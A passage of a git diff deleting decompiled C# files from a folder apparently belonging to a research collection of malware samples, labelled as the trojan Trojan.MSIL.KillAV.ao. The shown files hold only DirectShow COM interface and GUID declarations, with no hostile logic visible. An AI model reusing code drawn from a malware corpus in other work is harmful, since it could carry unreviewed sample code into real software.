-using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("B196B28B-BAB4-101A-B69C-00AA00341D07")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - public interface ISpecifyPropertyPages - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetPages(out DsCAUUID pPages); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs deleted file mode 100644 index ac562688..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRFilterConfig -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("9e5530c5-7034-48b4-bb46-0b8a6efc8e36")] - [ComImport] - public interface IVMRFilterConfig - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetImageCompositor([In] IntPtr lpVMRImgCompositor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNumberOfStreams([In] uint dwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfStreams(out uint pdwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingPrefs([In] uint dwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingPrefs(out uint pdwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingMode([In] uint Mode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingMode(out VMRMode Mode); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs deleted file mode 100644 index 20c84a28..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRFilterConfig9.cs +++ /dev/null @@ -1,40 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRFilterConfig9 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("5a804648-4f66-4867-9c43-4f5c822cf1b8")] - [ComImport] - public interface IVMRFilterConfig9 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetImageCompositor([In] IntPtr lpVMRImgCompositor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetNumberOfStreams([In] uint dwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetNumberOfStreams(out uint pdwMaxStreams); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingPrefs([In] uint dwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingPrefs(out uint pdwRenderFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetRenderingMode([In] VMRMode9 Mode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRenderingMode(out VMRMode9 Mode); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs deleted file mode 100644 index e15d32a1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRWindowlessControl -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("0eb1088c-4dcd-46f0-878f-39dae86a51b7")] - [ComImport] - public interface IVMRWindowlessControl - { - int GetNativeVideoSize( - out int lpWidth, - out int lpHeight, - out int lpARWidth, - out int lpARHeight); - - int GetMinIdealVideoSize(out int lpHeight); - - int GetMaxIdealVideoSize(out int lpWidth, out int lpHeight); - - int SetVideoPosition([MarshalAs(UnmanagedType.LPStruct), In] RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct), In] RECT lpDSTRect); - - int GetVideoPosition([MarshalAs(UnmanagedType.LPStruct)] out RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct)] out RECT lpDSTRect); - - int GetAspectRatioMode(out uint lpAspectRatioMode); - - int SetAspectRatioMode([In] uint AspectRatioMode); - - int SetVideoClippingWindow([In] IntPtr hwnd); - - int RepaintVideo([In] IntPtr hwnd, [In] IntPtr hdc); - - int DisplayModeChanged(); - - int GetCurrentImage(out IntPtr lpDib); - - int SetBorderColor([In] uint Clr); - - int GetBorderColor(out uint lpClr); - - int SetColorKey([In] uint Clr); - - int GetColorKey(out uint lpClr); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs deleted file mode 100644 index 84f8d772..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVMRWindowlessControl9.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVMRWindowlessControl9 -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [Guid("8f537d09-f85e-4414-b23b-502e54c79927")] - [ComImport] - public interface IVMRWindowlessControl9 - { - int GetNativeVideoSize( - out int lpWidth, - out int lpHeight, - out int lpARWidth, - out int lpARHeight); - - int GetMinIdealVideoSize(out int lpHeight); - - int GetMaxIdealVideoSize(out int lpWidth, out int lpHeight); - - int SetVideoPosition([MarshalAs(UnmanagedType.LPStruct), In] RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct), In] RECT lpDSTRect); - - int GetVideoPosition([MarshalAs(UnmanagedType.LPStruct)] out RECT lpSRCRect, [MarshalAs(UnmanagedType.LPStruct)] out RECT lpDSTRect); - - int GetAspectRatioMode(out VMR9AspectRatioMode lpAspectRatioMode); - - int SetAspectRatioMode([In] VMR9AspectRatioMode AspectRatioMode); - - int SetVideoClippingWindow([In] IntPtr hwnd); - - int RepaintVideo([In] IntPtr hwnd, [In] IntPtr hdc); - - int DisplayModeChanged(); - - int GetCurrentImage(out IntPtr lpDib); - - int SetBorderColor([In] uint Clr); - - int GetBorderColor(out uint lpClr); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs deleted file mode 100644 index 7a6a14ae..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoFrameStep.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVideoFrameStep -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [Guid("e46a9787-2b71-444d-a4b5-1fab7b708d6a")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComVisible(true)] - [ComImport] - public interface IVideoFrameStep - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int Step(int dwFrames, [MarshalAs(UnmanagedType.IUnknown), In] object pStepObject); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CanStep(int bMultiple, [MarshalAs(UnmanagedType.IUnknown), In] object pStepObject); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int CancelStep(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs deleted file mode 100644 index eb7e9187..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/IVideoWindow.cs +++ /dev/null @@ -1,136 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.IVideoWindow -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(true)] - [Guid("56a868b4-0ad4-11ce-b03a-0020af0ba770")] - [InterfaceType(ComInterfaceType.InterfaceIsDual)] - [ComImport] - public interface IVideoWindow - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Caption(string caption); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Caption(out string caption); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowStyle(int windowStyle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowStyle(out int windowStyle); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowStyleEx(int windowStyleEx); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowStyleEx(out int windowStyleEx); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_AutoShow(int autoShow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_AutoShow(out int autoShow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_WindowState(int windowState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_WindowState(out int windowState); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_BackgroundPalette(int backgroundPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_BackgroundPalette(out int backgroundPalette); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Visible(int visible); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Visible(out int visible); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Left(int left); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Left(out int left); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Width(int width); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Width(out int width); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Top(int top); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Top(out int top); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Height(int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Height(out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_Owner(IntPtr owner); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_Owner(out IntPtr owner); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_MessageDrain(IntPtr drain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_MessageDrain(out IntPtr drain); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_BorderColor(out int color); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_BorderColor(int color); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int get_FullScreenMode(out int fullScreenMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int put_FullScreenMode(int fullScreenMode); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetWindowForeground(int focus); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int NotifyOwnerMessage(IntPtr hwnd, int msg, IntPtr wParam, IntPtr lParam); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int SetWindowPosition(int left, int top, int width, int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetWindowPosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMinIdealImageSize(out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetMaxIdealImageSize(out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int GetRestorePosition(out int left, out int top, out int width, out int height); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int HideCursor(int hideCursor); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int IsCursorHidden(out int hideCursor); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs deleted file mode 100644 index c69d51a0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaSubType.cs +++ /dev/null @@ -1,28 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.MediaSubType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class MediaSubType - { - public static readonly Guid YUYV = new Guid(1448695129, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid IYUV = new Guid(1448433993, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid DVSD = new Guid(1146312260, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid RGB1 = new Guid(3828804472U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB4 = new Guid(3828804473U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB8 = new Guid(3828804474U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB565 = new Guid(3828804475U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB555 = new Guid(3828804476U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB24 = new Guid(3828804477U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid RGB32 = new Guid(3828804478U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid Avi = new Guid(3828804488U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - public static readonly Guid Asf = new Guid(1035472784U, (ushort) 37906, (ushort) 4561, (byte) 173, (byte) 237, (byte) 0, (byte) 0, (byte) 248, (byte) 117, (byte) 75, (byte) 153); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs deleted file mode 100644 index c490f832..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/MediaType.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.MediaType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class MediaType - { - public static readonly Guid Video = new Guid(1935960438, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Interleaved = new Guid(1937138025, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Audio = new Guid(1935963489, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Text = new Guid(1937012852, (short) 0, (short) 16, (byte) 128, (byte) 0, (byte) 0, (byte) 170, (byte) 0, (byte) 56, (byte) 155, (byte) 113); - public static readonly Guid Stream = new Guid(3828804483U, (ushort) 21071, (ushort) 4558, (byte) 159, (byte) 83, (byte) 0, (byte) 32, (byte) 175, (byte) 11, (byte) 167, (byte) 112); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs deleted file mode 100644 index 2710a493..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PhysicalConnectorType.cs +++ /dev/null @@ -1,39 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PhysicalConnectorType -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum PhysicalConnectorType - { - Video_Tuner = 1, - Video_Composite = 2, - Video_SVideo = 3, - Video_RGB = 4, - Video_YRYBY = 5, - Video_SerialDigital = 6, - Video_ParallelDigital = 7, - Video_SCSI = 8, - Video_AUX = 9, - Video_1394 = 10, // 0x0000000A - Video_USB = 11, // 0x0000000B - Video_VideoDecoder = 12, // 0x0000000C - Video_VideoEncoder = 13, // 0x0000000D - Video_SCART = 14, // 0x0000000E - Audio_Tuner = 4096, // 0x00001000 - Audio_Line = 4097, // 0x00001001 - Audio_Mic = 4098, // 0x00001002 - Audio_AESDigital = 4099, // 0x00001003 - Audio_SPDIFDigital = 4100, // 0x00001004 - Audio_SCSI = 4101, // 0x00001005 - Audio_AUX = 4102, // 0x00001006 - Audio_1394 = 4103, // 0x00001007 - Audio_USB = 4104, // 0x00001008 - Audio_AudioDecoder = 4105, // 0x00001009 - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs deleted file mode 100644 index e9b98c50..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinCategory.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinCategory -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System; -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public class PinCategory - { - public static readonly Guid Capture = new Guid(4218176129U, (ushort) 851, (ushort) 4561, (byte) 144, (byte) 95, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - public static readonly Guid Preview = new Guid(4218176130U, (ushort) 851, (ushort) 4561, (byte) 144, (byte) 95, (byte) 0, (byte) 0, (byte) 192, (byte) 204, (byte) 22, (byte) 186); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs deleted file mode 100644 index bf699be9..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinDirection.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinDirection -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public enum PinDirection - { - Input, - Output, - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs deleted file mode 100644 index 623fce7d..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/PinInfo.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.PinInfo -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - [StructLayout(LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode)] - public struct PinInfo - { - public IBaseFilter filter; - public PinDirection dir; - [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 128)] - public string name; - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs deleted file mode 100644 index 9850a7ff..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/DShowNET/RECT.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DShowNET.RECT -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using System.Runtime.InteropServices; - -namespace DShowNET -{ - [ComVisible(false)] - public struct RECT - { - private int left; - private int 